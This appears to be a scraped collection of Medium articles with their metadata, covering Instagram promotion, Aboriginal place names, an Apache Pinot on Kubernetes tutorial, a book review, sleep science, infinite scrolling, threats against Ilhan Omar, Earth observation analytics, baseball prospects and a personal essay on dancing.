That is so far away from the truth. Around 20–30 people checked my work and liked some of my photos Then 10 of them started following me. This was the difference between the usual activity I get and the activity after the featured post. This is nothing, considering that I used to get more than 10 new daily followers for months when I was more active.
These results made me think about my previous experience with those popular pages. I usually like most of the photos they post, because the pictures are beautiful. It’s very rare that I see something so unique that I check out the creator’s other work and follow them. So when I thought about it, the results weren’t that unexpected.
Although my experiment wasn’t successful, it still had a positive side. I edited and posted three new photos in a week, after not posting for more than a month. Now I am going through photos from my previous travels, seeing which ones I can edit and post in the future. This means now I have something kind of productive to do while bored at home.
I have never paid Instagram to promote a post, so I can’t compare it for now. Maybe I will try that next time, just to see how many followers twenty dollars can get you this way. | https://medium.com/@enjoylifeandtravel/i-paid-a-big-instagram-page-for-a-feature-post-ff3f5361db9f | ['Nikki P'] | 2020-12-15 20:47:03.180000+00:00 | ['Instagram Marketing', 'Content', 'Instagram', 'Marketing', 'Social Media'] |
The Power of Place Names | Embedding Bama Local Languages into the Australian Landscape | In my first few weeks of work with the project, I began by reviewing the First Nations place names that had already been published. During this period, I came across the story of a Djabugay ancestral being, Damarri. Damarri and his brother Guyala are ancestral beings literally in the landscape. Their stories mark Djabugay Country. In one, I read that Damarri’s leg was bitten off by a crocodile, and he fell down, into the landscape, and became the mountain range. During those early days, I would scour through the published literature and enter different place names of the Damarri Storywater, without truly considering the fact that I was experiencing an ancestral being. I remember being excited by the story and enjoying the progress we were making on our project, but I hadn’t understood the depth of what it meant to meet this ancient tale. One night, I had a dream that I was walking in the bush, along a river bank and a crocodile bit my leg off! I woke up deeply affected by this dream: the story found its way into me in a place it couldn’t while I was awake with my “rational” mind. From that point on, I approached the Damarri Storywater in a new way. I had experienced it in my own dream state and on what felt like a physical level to me. The way I engaged with Damarri from that moment on was very different: I began to feel the power of that place name. I began to understand that we were not merely putting down names that happened to have a story nested inside of them. These names were part of the lore of the land that I was on.
I remember being excited by the story, but I hadn’t understood the depth of what it meant to meet this ancient tale.
Gunggandji elder Edgar Harris and his nephew Djungan Neal were eager to record significant Gunggandji place names as part of the project; however, they faced a serious barrier. Although they knew their sacred places in their language, they remembered them in a unique way — they knew them through their songlines. Edgar and Djungan live in Yarrabah Aboriginal Shire Council. Yarrabah is a former Aboriginal mission settlement that is now home to a diversity of First Nations peoples. In the mission days, Bama peoples were punished for practicing their language and culture. To recall the Gunggandji place names, they had to sing them into being. Edgar couldn’t remember the name of the place on command; he needed to sing the songlines to find the name of the place in his memory. To find the Gunggandji place names, we recorded Edgar, Djungan, and their nephews singing songlines with a map in front of them. While the group was singing, Edgar would point out the place on the map.
Marilyn Wallace working with the author, putting down Nyungkal Bubu (Country) place names. Photo: Citt Williams, 2017
Marilyn Wallace is a Nyungkal elder who is determined to have her people’s names recognized and respected by waybala (white persons) and the state. She has been actively involved in this project since the beginning, as she is the co-founder of Bana Yarralji Bubu Bayan Kabanji. Marilyn lives on her “inheritance,” her Bubu (Country), where the edges of the open woodlands and rainforest meet. During the project, I camped with Marilyn on her homelands in the wungara (powdery sun) and jarramali (dry lightning) seasons while we recorded her Nyungkal place names. On her homelands, Marilyn took me to some of the places that she wanted to register. Marilyn explained that we have to change the names “to the Bama names because it is ownership of the Bubu (Country). Our connection to the rivers, the wawubaja (rivers), to the yiri (waterfalls) and our Bama has always been connected to our Bubu and those areas are important.” She explained to me that some of the current names were racist and hurt her. The existing names were not only removed from their Bama meanings but had downright negative connotations in the Bama language and evoked the memory of Cook’s invasion. She explained that in her elders’ time, they didn’t speak English; the “old people” didn’t know what the English names meant. Today, however, her people do know these meanings, and she wants to see Nyungkal names in Nyungkal places. For Marilyn, she wants these names changed in respect of her people’s cultural heritage and inheritance. In her words, “We feel that it is our identity, our culture, our heritage; it was given by the old people and we need to recognize and respect that.”
It is our identity, our culture, our heritage; it was given by the old people and we need to recognize and respect that.
In the kaba (wet season), I said goodbye to my new friends and my role on this project. I left them with 400 names recorded and a handful that were about to be registered with the state. Since I have left, the seed we planted has taken root. Although my time on Bama lands has ended, I find myself full of wonder as I hear stories about what our seed is blooming into. | https://medium.com/langscape-magazine/the-power-of-place-names-embedding-bama-local-languages-into-the-australian-landscape-2d43277b284a | [] | 2019-11-04 17:34:33.519000+00:00 | ['First Nations', 'Culture', 'Aboriginal', 'Australia', 'Language'] |
Exploring OLAP on Kubernetes with Apache Pinot | It was April 2020 when I first heard about Apache Pinot through a tweet from Kenny Bastani, who happens to be my podcast co-host and an open source contributor to Pinot.
Online Analytical Processing (OLAP) has been around for many years, but there aren’t many data warehouse products out there designed specifically for the “cloud-native era”. Apache Pinot was forged from engineering at LinkedIn and is currently in incubation mode at the Apache Foundation. As for production users? The tool already boasts a deep bench of users at both Uber and Microsoft.
Considering the long history of OLAP and data warehousing — I found myself asking, what separates Pinot from its alternatives? In this article, I’ll explore the initial setup experience I had with Pinot and talk about some sample cloud-native use cases.
Getting started
I decided to try Pinot out locally on a Kubernetes cluster running on my machine. The first thing I needed to do was get an up-to-date (at the time of writing) minikube installation. For this reason, I have included some quick-links to the instructions I used to set this up on my MacOS.
The full instructions for getting started with Apache Pinot on Kubernetes are available here.
If you are installing a new Kubernetes cluster to your machine, and want to go with minikube, make sure you have VirtualBox installed.
If this initial setup has worked as expected, executing minikube status results in the following output:
minikube status (output)
One element that is missing from the guide currently is the installation of Helm. I carried this out simply through Homebrew using the following reference.
Minikube is required to be initiated with the following memory requirements in order for the pinot-broker component to start. (thanks to this Github Repo for helping me find the required settings!)
Configure your minikube installation or Pinot
Once helm is installed switch your kubectl context to minikube.
And as per the getting started guide for Pinot…
output from verifying the status of the pinot-quickstart namespace
minikube dashboard (pinot quickstart namespace)
Accessing some of the Pinot component UI’s can be carried out via Port Forwarding. An example of this exists in incubator-pinot/kubernetes/helm/pinot/query-pinot-data.sh
kubectl port-forward service/pinot-controller 9000:9000 -n pinot-quickstart > /dev/null &
Components
Initially when getting started with Apache Pinot, I looked through the documentation on the various architectural responsibilities of each component. There is a detailed outline of the clustering setup involved for Pinot (https://docs.pinot.apache.org/basics/architecture) which is omitted from the descriptions here. For getting started, I have summarised and largely simplified the components into the following descriptions.
Segments
As per the documentation:
a horizontal shard representing a chunk of table data with some number of rows
Due to Pinot expecting tables to infinitely scale, a shard can be seen as a time-based partition that is the result of the data being broken down in to smaller chunks. (Segment)
Pinot Server
There are two types of servers you can setup for Pinot. One being offline and the other one we will focus on later in this article; realtime.
Offline servers will be covered in a follow up article on ingesting data and defining the table configuration and specifications. Realtime servers ingest data from a real time streams such as Apache Kafka, and data can be transformed and then persisted ready to serve queries via the Pinot broker.
Pinot Broker
Query against the Pinot Servers
Pinot Controller
The controller component’s primary responsibility is the management of the other Pinot components. You can view some of the APIs available to you via the help endpoint of the controller.
http://localhost:9000/help
http://localhost:9000/query
Pinot data explorer
Streaming events (the write)
To get started with ingesting data and adding associated queries, I focused on the following components and paths highlighted in the diagram below:
Primary Architectural Components of Pinot in a read / write split
There is already a great guide demonstrating how to locally set up a Kafka cluster and topic in the Pinot documentation for realtime ingestion and that is utilised in the example.
With the growing need to standardise event structure, the Cloud Events specification has been formed. The example uses this Event structure from Cloud events to create a schema in Apache Pinot. These events will be consumed from the Kafka topic and persisted in the segment stores via Pinot Server so that queries can be invoked via the Broker.
Ingest from Apache Kafka
In order to get started (even with the examples guide) there is an assumption you have progressed through the manual cluster setup guide. As this guide is using minikube to host the Pinot cluster I will add Kafka to Kubernetes using the Helm charts listed in the getting started guide. Run these three commands in your terminal.
$ helm repo add incubator http://storage.googleapis.com/kubernetes-charts-incubator $ helm install -n pinot-quickstart kafka incubator/kafka — set replicas=1 $ kubectl get all -n pinot-quickstart |grep kafka
Running Kafka services and pods inside Kubernetes
Creating the schema
I decided to use the cloud events json data format example for the schema. It is specified as follows:
JSON data format from Cloud Events
Create Topic
Run the following command to create the Kafka topic.
$ kubectl -n pinot-quickstart exec kafka-0 — kafka-topics — zookeeper kafka-zookeeper:2181 — topic cloudevent-topic — create — partitions 1 — replication-factor 1
Upload Schema and table config
The sample cloud event topic schema, table config and Kubernetes manifest for the example is available on GitHub. If you clone the repository and change into the directory, it will be possible to run the following command to create the schema and table config in Pinot and be ready for the next example where I will take a closer look at ingesting events.
$ kubectl apply -f cloud-event-quickstart.yml
Table and schema creation successful
If you wish to test out the help API you can now interact with your schema and table via the Swagger interface:
http://localhost:9000/help
The Pinot data explorer is now ready to service queries against the table created above:
Pinot data explorer showing the cloudevent table
Summary
At this point you will now have a:
Pinot cluster inside Kubernetes
Kafka running inside Kubernetes
A topic ready for a Pinot real-time server to consume cloud events ready to persist and serve queries
A schema and table config for persisting ingested data
In follow up to this article, we will look in more detail at the table configuration and the persistence mechanisms behind real-time servers, and begin to consume cloud events from the stream before exploring queries on the data. If you’re interested in learning more about Pinot before I put out my next blog post, please take a look at the other articles in the Apache Pinot Developer Blog. | https://medium.com/apache-pinot-developer-blog/exploring-olap-on-kubernetes-with-apache-pinot-32f12233dc0b | ['Greg Simons'] | 2020-06-11 19:52:17.456000+00:00 | ['Analytics', 'Distributed Systems', 'Apache Pinot', 'Kubernetes', 'Data Warehouse'] |
‘Six of Crows’ Book Review | ‘Six of Crows’ Book Review
A story about a band of loveable crims and a heist that’ll go down in history
Photo by Tyler Quiring on Unsplash
It took me an age to get into Six of Crows by Leigh Bardugo — my own fault, really, for having a baby whose needs come before the devouring of a good book (babies are selfish like that). Plus, I tried reading it straight after finishing ‘The Shadow and Bone Trilogy’, which is not recommended because although set within the Grishaverse (the same fantasy world), the stories are worlds apart.
Shadow and Bone is pretty typical (albeit quite good) YA Fantasy that follows the path of a Chosen One trope with romantic elements thrown in.
Six of Crows is a crafty, complex YA Fantasy that has a plot more akin to Oceans Eleven (I’m going with the 2001 version here since I haven’t seen the original — I know, I know, shame on me). And yes, it does include a side of some well-written romance, but that’s not the main drawcard.
A team of characters work towards a plan to pull off the biggest heist in history to receive a massive reward that will pay off all their debts and still leave them among the wealthiest in Ketterdam.
The clever mastermind of it all, Kaz Brekker, reminds me of a cheeky Robin Hood, or a loveable rogue like Han Solo— hell, I’ve even had Ned Kelly come to mind.
What’s so great about this husky-voiced, brusque, secretive, brutal character who’s also known as Dirtyhands? He’s not only quick-witted and always two steps ahead of everyone, he’s also got plenty of flaws, and he makes mistakes — what’s that? He’s human! Kaz suffers from PTSD and as a result wears gloves because he has a phobia of touching or being touched (haphephobia). And he’s a baddie essentially fighting against bigger baddies. What’s not to love?
The story is told from five main POVs and all characters have complexities and goals, and they all show growth as the story progresses. That’s no mean feat, so props to Bardugo for bringing it all together so well.
So, who are the members of Kaz’s crew?
Inej, ‘The Wraith’ who was basically a Cirque du Soleil performer turned collector of secrets for Kaz (plus she’s pretty badass with all her knife-wielding); Jesper, gun-obsessed sharpshooter who never misses a shot (he also brings the funnies); Nina, a powerful Grisha Heartrender who’s strong, loud, confident, and unashamedly female (not to be forgotten: her skills in flirting her way out of anything); Matthias, a Fjerdan soldier who hunts Grisha and wants no part in the whole thing, but gets wrapped up in it anyway (his conflicted feelings for Nina add some great love/hate tension); and Wylan, the shy son of a rich mercher who’s got some secrets of his own (no POVs for Wylan in Six of Crows, but he’s a main character, nonetheless).
Let me just say, the banter is spot on. It’s funny without being constant and over-the-top. Made all the better when stoic, reluctant (or perhaps I should say, forced) team member Matthias joins in and manages to be hilarious without swaying from his personality.
All the elements work together perfectly to create a high-action, entertaining read that’s full of twists and turns I didn’t see coming. I ended up enjoying it so much, I’d label it one of my favourite reads of recent years.
On that note, just take a risk and read the damn book: | https://medium.com/short-b-read/six-of-crows-book-review-572dba7479e4 | ['Melissa-Jane Nguyen'] | 2020-10-05 02:34:10.285000+00:00 | ['Fiction', 'Book Review', 'Fantasy', 'Reading', 'Books'] |
Why Your Body Sometimes Jerks As You Fall Asleep | Why Your Body Sometimes Jerks As You Fall Asleep
Images by the author (CC BY-SA 4.0)
Ahh… sleep. How nice. You turn off the lights. You close your weary eyes. You sigh. You relax. Your breathing slows down. Your mind begins to wander off, fading into the nightly oblivion.
Then…
You stumble, trip, fall. Your body jolts. Your leg kicks. Your heart pounds. Huh? What happened? Did you mistakenly fall asleep on a trapdoor?
Nope. You simply experienced a hypnic jerk.
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A hypnic jerk, or sleep start, is a phenomenon that occurs when your body transitions from wakefulness to sleep. It involves a sudden involuntary muscle twitch and is frequently accompanied by a falling or tripping sensation. It’s that strange muscle spasm that happens when you’re lying in bed, trying to sleep, and are suddenly jolted awake because you feel like you stumbled over something.
Hypnic jerks are common and benign.
But what causes them? Well, no one really knows. It’s still a mystery. However, researchers have come up with several hypotheses that may explain them, with the following two being the most popular.
Hypothesis 1: Your body twitches as daytime motor control is overridden by sleep paralysis
How is it that a bedfellow of yours doesn’t wake up pummeled and bruised if you have a dream about a boxing match? Is it because they’re having a complementary dream where they’re blocking all your jabs, hooks, and other punches?
Nope. The person sharing the bed with you doesn’t get pummeled because when you’re asleep, your body is paralyzed. This is due to something called REM sleep atonia, which prevents you from acting out your dreams.
REM atonia works by inhibiting your motor neurons. It does so by raising the bar on the amount of electricity the brain must send down a motor neuron to trigger a movement. So, for instance, the little bit of electricity that your brain sends to your finger to make it move when you’re awake is no longer enough when you’re under REM atonia.
When you’re asleep, your body is paralyzed. This is due to something called REM sleep atonia, which prevents you from acting out your dreams.
Now, the thing is that there is no single on/off switch in your body that inhibits all your motor neurons at once. Instead, the subsystems of your brain that handle sleep need to wrestle control from the subsystems that handle wakefulness. And sometimes, during this wrestling match, some motor neurons are fired randomly, causing your body to twitch.
Hypothesis 2: Your brain thinks you’re a monkey falling off a tree
Image modified by the author. Illustration source: Alessandro D’Antonio/Unsplash
Imagine you’re a monkey and the last rays of sunlight have just disappeared behind the green forest canopy. It’s getting dark, and you say to yourself: time for sleep. Your brain begins to ooze some melatonin into your bloodstream and you yawn. Drowsy, you settle down on a comfortable tree branch.
Your eyelids become heavy and your breathing slows. The outside world begins to fade. Sounds become distant.
At this point, the subconscious part of your brain takes over. “Perfect,” it says, “time to boot up the dream images.” Your brain initiates the dream procedure, and just when you’re about to nod off completely, it notices that all your muscles have suddenly and unexpectedly relaxed. “Holy Banana!” your brain screams panic-stricken, “Mayday! Mayday! We’re in freefall! Dammit! Wake up! Wake up! Shit, crap! Brace for impaaaact!”
As you’re probably aware, we humans descend from primates who lived and slept on trees. This means that we’ve inherited some monkey brain routines that no longer serve any purpose. Among them, according to the monkey-fall hypothesis, is a reflex that jolts you awake when you’re falling from a tree.
You see, when a monkey is unexpectedly soaring through the air, its muscles no longer have to prop it up and so they go limp. Confusingly, however, your muscles also go limp when you’re sleeping.
So, when you drift off into sleep and your muscles relax a little too fast, your groggy brain sometimes misinterprets this for falling off a tree. As a result, your brain freaks out and triggers a reflex that startles you awake in an attempt to prepare for an imminent crash onto the forest floor. Little does your brain know, in its sleepy state — and that you no longer live in trees.
What’s clear either way
Hypnic jerks are involuntary muscle contractions that occur during the transition from wakefulness to sleep. They’re most likely to occur if you’ve been gulping down too much coffee, have been stressed or sleep-deprived, or did some vigorous exercise before going to bed. About 70% of people have experienced them. Even so, they are not well understood.
Either way, hypnic jerks are benign and nothing to worry about. The worst that can happen is probably an occasional kick against the shin of whoever is sharing the bed with you. | https://medium.com/@aktertaniye/why-your-body-sometimes-jerks-as-you-fall-asleep-a6bc0fed2e07 | [] | 2020-12-26 22:43:19.823000+00:00 | ['Neuroscience', 'Health', 'Sleep', 'Biology', 'Science'] |
How the invention of infinite scrolling turned millions to addiction | How the invention of infinite scrolling turned millions to addiction
And what can UX designers do to mitigate it
It’s been 14 years since one technology engineer designed a simple app feature that changed the lives of millions and turned the use of social media into an addiction we all fight. His name was Aza Raskin and he now says he’s deeply sorry and feels guilty about it. What feature are we talking about? It’s the infinite scroll. The most intuitive feature enabling you to endlessly move up or down through content with the simple flick of a finger. But what makes it so powerful and addictive?
Bottomless bowl
Research by Wansink, Painter, and North showed that people can be tricked into eating more soup by offering them self-refilling soup bowls. Those who were unknowingly eating from the bottomless bowls consumed 73% more soup than people with normal bowls and didn’t believe they actually had eaten more.
How is this related to technology, apps, and infinite scrolling, you ask? Well, tech companies tend to exploit the same principle, designing apps to automatically keep serving you more and more content without asking you whether or not you want it. Just like the soup.
Infinite scrolling is everywhere. You finish a video on YouTube, the next one loads immediately. You just watched an episode of your current favorite show on Netflix, the next episode begins without you having even the slightest chance to consciously think about if you still want to watch. Oh, and what about that one Facebook video you intended to watch for just “a minute”. Well, it’s already been half an hour and you’ve watched six more. As Aza Raskin says, if you don’t give your brain time to catch up with your impulses, you just keep scrolling.
“It’s as if social media companies are taking behavioral cocaine and just sprinkling it all over your interface and that’s the thing that keeps you like coming back and back and back.”
Raskin’s statement may seem a bit over-the-top, we know, but Professor Daniel Kruger of the University of Michigan agrees that the methods used by social media companies activate the same brain mechanisms as cocaine.
An article by Purohit, Barclay, and Holzer suggests the social media platforms are intentionally designed to trigger addictive usage patterns, using the Hook model to aid habit formation. The Hook model consists of four phases, starting with a trigger leading to action that produces a reward and finally creates investment. If utilized successfully, the Hook model creates an addictive feedback loop that keeps users glued to their phone screens.
Hiding behind a seemingly innocuous claim, “We’re just making it easier for users to see the video they want to watch,” companies incentivize the creation of addictive app features to keep their users hooked. | https://medium.com/design-bootcamp/how-the-invention-of-infinite-scrolling-turned-millions-to-addiction-3096602ef9af | [] | 2020-11-25 22:34:09.206000+00:00 | ['Design Thinking', 'Ethics', 'UX', 'UX Design', 'Product Design'] |
I’m Afraid for Ilhan Omar’s Safety. | I’m Afraid for Ilhan Omar’s Safety.
The danger in minimizing the threats against her life.
Photo via Ilhan Omar on Instagram
To many on the left, seeing a young Muslim refugee who also happened to be a black woman representing her community in Congress was absolutely incredible, and an indication that we may have made some progress as a nation.
To others, her very existence is a threat to the status quo.
Just the sight of her hijab is considered an act of provocation, and has caused many in the right wing to call in to question whether her religion could prevent her from upholding their American “values”. Everyone from FOX News hosts to the President himself have continued to stir up and provoke aggression towards the congresswoman. Just one day after a man called her office and threatened to put a bullet in her skull, the President tweeted an inflammatory video of 9/11 footage with wildly out of context statements that Omar made as the background noise.
The President knows what his base is capable of, and he knew exactly what he was doing.
Tweeting that video was nothing less than a blatant incitement of violence against a sitting member of Congress. It was a wink and a nod, and in his mind a clever, subtle way of asking them: “what are you going to do about this?”
Across the globe, there has been an alarming rise in right wing extremism and terrorism. In an article addressing the subject, John Cassidy of the New Yorker writes:
“Of course, right-wing terrorism is now a very real and deadly threat in many Western countries, the United States included. Last October, Robert Bowers, a forty-six-year-old Pittsburgh man who ranted online about the threats presented by “illegals” and “the overwhelming Jew problem,” allegedly gunned down and killed eleven worshippers at the Tree of Life synagogue. Just last month, federal agents arrested Christopher Paul Hasson, a lieutenant in the U.S. Coast Guard who had called for “focussed violence” to “establish a white homeland.” Like Tarrant, Hasson had been inspired by the Norwegian terrorist Breivik, and, according to the prosecutors, he was intending “to murder innocent civilians on a scale rarely seen in this country.”’
I am not as worried about the internet trolls. I’m not as worried about bitter people behind a screen that use social media as their constant preferred outlet. What worries me more is the idea of men like Christopher Hasson who view these things and sit silently stewing in their anger, plotting of ways to neutralize people they perceive as a threat.
America has grown so accustomed to a culture of violence that we tend to minimize these threats. We have grown numb to so much that these actions no longer alarm us, and that’s when aggressors are able to achieve their goals.
Omar has been the subject of right wing, anti-Muslim conspiracy theories since she took office. She has literally sacrificed her safety to serve her community and represent their interests. That reality she faces is something that no white conservative man would ever even have to consider when they chose to run for office. The far right view Omar simply because of her religion as inherently violent, blind to the irony that their hateful rhetoric is the actual violence. While Trump is not the root cause of these mindsets and actions against her he has most certainly emboldened it, and that is something we cannot allow to be normalized.
I cannot help looking up to Ilhan Omar, and admiring her steadfast courage and bravery. I’m sure I’m not alone in that, but at the same time we cannot allow that to blind us from the fact that she should not have to go through everything she continues to go through. She should be able to go to work without worrying about what could happen to her on the way there. | https://xlauren-mx.medium.com/im-afraid-for-ilhan-omar-s-safety-11351d3484b9 | ['Lauren Elizabeth'] | 2019-05-26 19:43:06.183000+00:00 | ['Politics', 'Justice', 'Racism', 'Government', 'Equality'] |
One Stop Shop | Written by
Almost famous cartoonist who laughs at her own jokes and hopes you will, too. | https://marcialiss17.medium.com/one-stop-shop-dd378173ff11 | [] | 2020-01-17 14:08:13.171000+00:00 | ['Funny', 'Humor', 'Cartoon', 'Dentistry', 'Comics'] |
Analyze the Earth with RasterFrames | Query the Earth
Earth Observation data has been Big Data since before the term existed. This legacy means that even today much of the tooling and techniques for finding and acquiring EO data are focused around the task of downloading big files. But downloading big files is not querying data, it’s just accessing the data. Querying data means describing which data you want to access in a way that integrates with describing what you want to do with it, all without having to describe how to access the data.
As with so many other types of data, EO data storage is transitioning to the cloud. RasterFrames leverages this trend by enabling queries across these cloud stores. It eliminates downloading and moving files by:
Reading directly from cloud store Grabbing only as much data as needed for the analysis
RasterFrames provides a broad enough functionality to integrate access with analysis; removing the artificial barrier and friction associated with data archival.
Analyze the Earth
Because RasterFrames puts EO data in a DataFrame, it enables data scientists and other analysts to analyze the data in a familiar way. DataFrames are general purpose and the basic operations on them are well known. RasterFrames lets the user take full advantage of that functionality in multiple programming languages such as Python or SQL. RasterFrames also adds custom functions for EO data in a way that seamlessly integrates with the existing DataFrame functionality, including a broad variety of machine learning modeling techniques.
Scale the Earth
The size of the datasets describing the Earth is mind-boggling and growing at an exponential rate. With RasterFrames, users can build and tweak their analyses or models locally, then scale them to thousands of servers in the cloud, without changing the code. In the EO space, this capability allows a data scientist to train a model over a limited geographic area (e.g. classify crops in Central Virginia), validate performance locally, then deploy the model over a much broader geographic area (e.g. classify crops nationwide). In practice, this hybrid approach saves users both time and money — a point that we’ll explore later on in this series. | https://medium.com/astraeaearth/analyze-the-earth-with-rasterframes-d690ea5fb915 | ['Astraea Earth Ai'] | 2019-09-24 12:40:13.470000+00:00 | ['Spark', 'Geospatial', 'Big Data', 'Satellite Imagery', 'Data Science'] |
I am a dot | My Manifesto for a Moral Revolution — Part 1
What is the “impossible” you dare to imagine as “possible”?
What is the story about the future or an alternate reality your manifesto will tell?
What will help you sustain and thrive throughout this work?
Jacqueline Novogratz asks these questions in the Acumen class Path of Moral Leadership that partners with her book ‘ Manifesto for a Moral Revolution ‘.
It was the last of 13 lessons, the culmination of weeks of working alongside other wonderful souls committed to learning how to move more effectively through our world, leaning into learning new ways of being agents of change.
My mission: Offer hope to Generation Z. Make a difference in the climate crisis.
How do I find the right words to encourage individuals to test out their own version of change?
What could I do when there are so many other brighter minds and eloquent voices out there? Could I hope to make a difference?
I sat down at my keyboard. And just poured my heart out.
This is what showed up: (link https://youtu.be/jEJnb1bMgs8) | https://medium.com/@karenadesouza/i-am-a-dot-19e03141cf8d | ['Karena De Souza'] | 2021-02-10 16:57:58.919000+00:00 | ['Manifesto', 'Generation Z', 'Future Of Work', 'Acumen Fund', 'Climate Action'] |
Young Yankees looking to make strong impressions this Spring Training | Young Yankees looking to make strong impressions this Spring Training
WikiCommons
The Yankees made the big splash this winter by signing Gerrit Cole to a record contract. Many believe he is the final piece for the Yankees in their quest for title number 28. As the team begins to head down to Tampa for spring training, there are several Yankees who could play a big part in their championship quest despite not making as much as Cole will in a single start this season.
Miguel Andujar
One year can make all the difference in sports. This time last year, everyone was wondering if Andujar would be able to build off his rookie season where he finished second in Rookie of the Year voting. A shoulder injury and a Gio Urshela later, many wonder what Andujar’s role, if any, will be on the roster.
The report on Andujar is pretty straightforward. He can hit the cover off the bat but he can’t cover the ball at third base. The Yankees have made it clear that the starting third base job belongs to Urshela and Andujar will have to earn his way into the lineup. There are, however, ways he can do that: he has been asked to learn to play at a couple new positions, 1B and LF. He also continues to work on his play at third and is already shagging fly balls.
The Yankees know far too well that the injury bug can cause chaos to a lineup. Andujar will turn 25 next month and still has plenty of minor league options. This is a key spring training for his career. Can he remain focused even if he is forced to go to AAA to bide his time and possibly continue to learn a new position?
Many great players started at 3B only to move to 1B or LF because their bat was lethal. Albert Pujols, for example, was a 3B/LF early in his career. No one is comparing Miggy to the Machine but if that bat continues to impress there should be at-bats for Andujar in the Bronx. They would like to keep DH spot for Stanton, but Andujar could still earn the majority of his at-bats there.
Mike Ford
Right across the diamond from Andujar is another youngster who will need to make a strong impression this spring training. Luke Voit’s injury last season opened the door for Ford to get his first taste of the big leagues. Ford performed well, hitting 12 home runs with an OPS+ of 137 in 143 at bats. Luke Voit will enter Spring Training healthy and ready to pick up where he left off before his injury. If he does that then Ford won’t see much playing time. But, if there are some struggles from Voit, Ford is next in line, ready to capitalize.
Last season, DJ LeMahieu got plenty of reps at first base due to the logjam around the rest of the infield. In 2020, LeMahieu is expected to be the everyday second baseman, his natural position, which leaves back up 1B open for Ford. Ford does have one thing that the Yankees need: a lefty swing. The Yankees are a very unbalanced lineup and while analytics say it is not that important, having a lefty bat at Yankee Stadium is always a plus. Neither Voit nor Ford will be a game changer in the field so if Ford has a big Spring, he could steal at bats away from Voit.
And did we mention Ford has been working hard on his fitness this off-season?
Competition is good, and Mike Ford appears ready to fight for the starting first base job. While he might lose out at first, expect to see him on the 26-man roster most of the season.
Jordan Montgomery
Monty was already going to be on this list before the James Paxton injury, but now he has a much easier path to get back into the rotation. After missing most of last season due to Tommy John, Montgomery will come into spring training much like he did in 2017, with the opportunity to make an impact in the starting rotation.
It seems so long ago but Montgomery finished 6th in AL Rookie of the Year voting in 2017 and was arguably the best rookie pitcher in all of baseball. He only averaged 5.1 innings per start so we shouldn’t expect much more than that after his injury. But five innings before handing it off to a very deep bullpen should be enough.
He will, however, face competition for the fifth spot. Luis Cessa and Jonathan Loaisiga expect to be given the same opportunity as Montgomery in spring training. Both of them are better off in the bullpen though, so there is a case for Montgomery to start only going three to four innings followed by a combo of Cessa and Loaisiga. Like Andujar, Montgomery does have minor league options while Cessa does not. If it is an even race, Cessa might win out while Jordan stays ready in AAA, but I wouldn’t expect him there long if this does happen.
Mike King
Another name mentioned for the fifth rotation spot is Mike King. I would place him fourth in the race at the moment simply because of experience. King made a splash in 2018 by having a 1.84 ERA across three minor league levels. Unfortunately, injuries prevented him from getting a chance to prove that it wasn’t just a fluke.
Similar to Montgomery, King’s success is all about command. His fastball and slider won’t make hitters look silly but if he has control of them, he can quickly go through a lineup and do so with a ton of ground balls. King will eat up innings which is exactly what the Yankees will be looking for at some point during the season. But with only 62.2 innings of AAA ball, King should come into Spring focused on improving his game and trying not to get too caught up in the battle for a MLB roster spot.
Clarke Schmidt
Schmidt wasn’t mentioned by the Yankees this week when discussing the open rotation spot but that doesn’t mean he won’t have the chance to make an impression this Spring. Since being taken in the first round by the Yankees in 2017, Schmidt has been known to spend more time on the sidelines than on the mound. The Yankees knew this when they took him though, seeing as he got Tommy John surgery right before the Yankees took him 16th overall.
This is the movement year for the soon to be 24 year-old Schmidt. He needs to stay healthy and if he does he could fly to the majors. After reaching AA last season, expect him to start there this year before quickly hitting AAA. He has a four-pitch arsenal and offers a change-up that can be used as an out pitch. He struck out 102 in 90 innings last season.
While many are focused on Deivi Garcia as the next big pitching prospect, I would expect Schmidt to start rising quickly up the Top 100 prospects list by mid-season as he could join the Yankees in the summer months. A strong Spring from the non-roster invitee will start the trend of hearing his name more and more as the season progresses. | https://gothamsn.com/young-yankees-looking-to-make-strong-impressions-this-spring-training-366a955146cb | ['Steve Angelovich'] | 2020-02-07 19:42:19.463000+00:00 | ['Sports', 'Baseball', 'Yankees', 'New York Yankees', 'MLB'] |
How to Dance Like Nobody’s Watching | Watch a toddler move to the beat of the music and you’ll see a creature who knows how to dance simply for the love of movement that comes from deep inside without care of what it may look like from the outside. I’m not sure what age I was when I realized that dancing was for me. I just felt the beat inside and had to move. I never took a dance lesson. There was no money nor time for that I guess. But I had a love for it and some natural ability. We made up dances constantly. 6th grade was the height of that amateur choreographing phase. Dancing in Lisa’s driveway while her little 5-year-old sister watched, beaming with joy because I showed her plenty of attention and because we shared the same first name. When she danced with us, she was free from all the burdens that came from having a brain tumor and fighting cancer at time in her life that should have only included worries about figuring out which tiny outfit to squeeze onto her Barbie doll. Lisa had taken dance lessons from the time she was 4. In the Spring of that year, her mom drove us to dance team tryouts. We were going to be going to middle school that Fall. I had no clue what I was doing but I had a natural rhythm and ability to remember the moves. Later that afternoon, we went back to see if our tryout numbers were on the short list of dancers that made the team. My number was there. Hers wasn’t. I was truly shocked. She held back tears and tried to be happy for me. But I knew it wasn’t fair because she had trained so many years and it was her dream and I had just tried out on a whim because she wanted me to. Her little sister was there that day too. She was so happy for me. But my memories of that day aren’t happy because I was sad for my friend who didn’t make it and for the first time ever, I was embarrassed that my little first-name-twin ran up to me with her chemo bald head and others saw me with her. At her house it didn’t matter. I never thought twice about the fact that she was different. We were free. Nobody was watching. But here, at my new middle school, in front of all the pretty popular girls, I wasn’t able to be free. For the first time, I discovered what’s its like to not be able to dance like nobody’s watching. Fast forward to today. I’m 40. I have a 6th grader and a 5-year-old. I tried to learn the “Spongebob dance” today. Something has happened to my natural rhythm. It’s gone now. I’m so awkward. But I am free. Dancing and laughing, while we videoed ourselves…dancing for me, because of the rhythm inside of me, dancing for the love of movement, and it didn’t matter who was watching. Tonight I watched my 6th grade daughter teach my 5-year-old “the Macarena” dance and they were smiling and joyful as I videoed them, free from the uncertainty and worry that comes with middle school years. Years I don’t want to relive. Except for that one moment, I wish I could redo the moment when my little friend Jennifer ran up to me like nobody was watching. And I wouldn’t care who saw me give her a huge squeeze that made her ball cap fall off. Because I loved her. And I was yet still ignorant to the crushing pain and grief (and guilt) that comes when someone you love dies before their 6th birthday. I’ll bet she’s dancing in Heaven. And she forgives me because she knows that now I’ve finally learned to dance like nobody’s watching. | https://medium.com/@timandjenniferfamily/how-to-dance-like-nobodys-watching-37bb4f13615d | ['Jennifer Thompson'] | 2019-02-01 06:41:25.206000+00:00 | ['Coming Of Age', 